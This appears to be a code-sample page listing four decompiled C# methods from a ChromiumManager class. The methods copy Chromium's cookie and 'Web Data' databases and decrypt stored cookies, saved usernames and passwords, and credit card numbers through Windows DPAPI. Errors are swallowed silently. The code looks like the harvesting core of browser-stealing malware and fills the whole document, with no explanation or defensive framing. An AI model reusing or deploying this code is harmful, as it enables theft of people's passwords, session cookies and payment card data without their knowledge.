Esempio n. 1
0
        // Token: 0x060000AE RID: 174 RVA: 0x0000561C File Offset: 0x0000381C
        public static IEnumerable <BrowserCookie> ExtractCookies(string profilePath)
        {
            List <BrowserCookie> list = new List <BrowserCookie>();

            try
            {
                string text = Path.Combine(profilePath, "Cookies");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text));
                sqliteManager.ReadTable("cookies");
                for (int i = 0; i < sqliteManager.GetRowCount(); i++)
                {
                    BrowserCookie browserCookie = null;
                    try
                    {
                        browserCookie = new BrowserCookie
                        {
                            Host    = sqliteManager.GetValue(i, "host_key").Trim(),
                            Http    = (sqliteManager.GetValue(i, "httponly") == "1"),
                            Path    = sqliteManager.GetValue(i, "path").Trim(),
                            Secure  = (sqliteManager.GetValue(i, "secure") == "1"),
                            Expires = sqliteManager.GetValue(i, "expires_utc").Trim(),
                            Name    = sqliteManager.GetValue(i, "name").Trim(),
                            Value   = ChromiumManager.DecryptBlob(sqliteManager.GetValue(i, "encrypted_value"), DataProtectionScope.CurrentUser, null, false).Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (browserCookie != null)
                    {
                        list.Add(browserCookie);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Esempio n. 2
0
        // Token: 0x060000B3 RID: 179 RVA: 0x0000598C File Offset: 0x00003B8C
        public static BrowserCredendtial OldChromeCredential(SQLiteManager manager, int row)
        {
            BrowserCredendtial browserCredendtial = new BrowserCredendtial();

            try
            {
                browserCredendtial.URL      = manager.GetValue(row, "origin_url").Trim();
                browserCredendtial.Login    = manager.GetValue(row, "username_value").Trim();
                browserCredendtial.Password = ChromiumManager.DecryptBlob(manager.GetValue(row, "password_value"), DataProtectionScope.CurrentUser, null, false).Trim();
            }
            catch
            {
            }
            finally
            {
                browserCredendtial.Login    = (string.IsNullOrEmpty(browserCredendtial.Login) ? "UNKNOWN" : browserCredendtial.Login);
                browserCredendtial.Password = (string.IsNullOrEmpty(browserCredendtial.Password) ? "UNKNOWN" : browserCredendtial.Password);
                browserCredendtial.URL      = (string.IsNullOrEmpty(browserCredendtial.URL) ? "UNKNOWN" : browserCredendtial.URL);
            }
            return(browserCredendtial);
        }
Esempio n. 3
0
        // Token: 0x060000B0 RID: 176 RVA: 0x00005858 File Offset: 0x00003A58
        public static IEnumerable <BrowserCreditCard> ExtractCreditCards(string profilePath)
        {
            List <BrowserCreditCard> list = new List <BrowserCreditCard>();

            try
            {
                string text = Path.Combine(profilePath, "Web Data");
                if (!File.Exists(text))
                {
                    return(list);
                }
                SQLiteManager sqliteManager = new SQLiteManager(ChromiumManager.CreateTempCopy(text));
                sqliteManager.ReadTable("credit_cards");
                for (int i = 0; i < sqliteManager.GetRowCount(); i++)
                {
                    BrowserCreditCard browserCreditCard = null;
                    try
                    {
                        browserCreditCard = new BrowserCreditCard
                        {
                            Holder          = sqliteManager.GetValue(i, "name_on_card").Trim(),
                            ExpirationMonth = Convert.ToInt32(sqliteManager.GetValue(i, "expiration_month").Trim()),
                            ExpirationYear  = Convert.ToInt32(sqliteManager.GetValue(i, "expiration_year").Trim()),
                            CardNumber      = ChromiumManager.DecryptBlob(sqliteManager.GetValue(i, "card_number_encrypted"), DataProtectionScope.CurrentUser, null, false).Trim()
                        };
                    }
                    catch
                    {
                    }
                    if (browserCreditCard != null)
                    {
                        list.Add(browserCreditCard);
                    }
                }
            }
            catch
            {
            }
            return(list);
        }
Esempio n. 4
0
 // Token: 0x060000B9 RID: 185 RVA: 0x00002625 File Offset: 0x00000825
 public static string DecryptBlob(string EncryptedData, DataProtectionScope dataProtectionScope, byte[] entropy = null, bool yandex = false)
 {
     return(ChromiumManager.DecryptBlob(Encoding.Default.GetBytes(EncryptedData), dataProtectionScope, entropy, yandex));
 }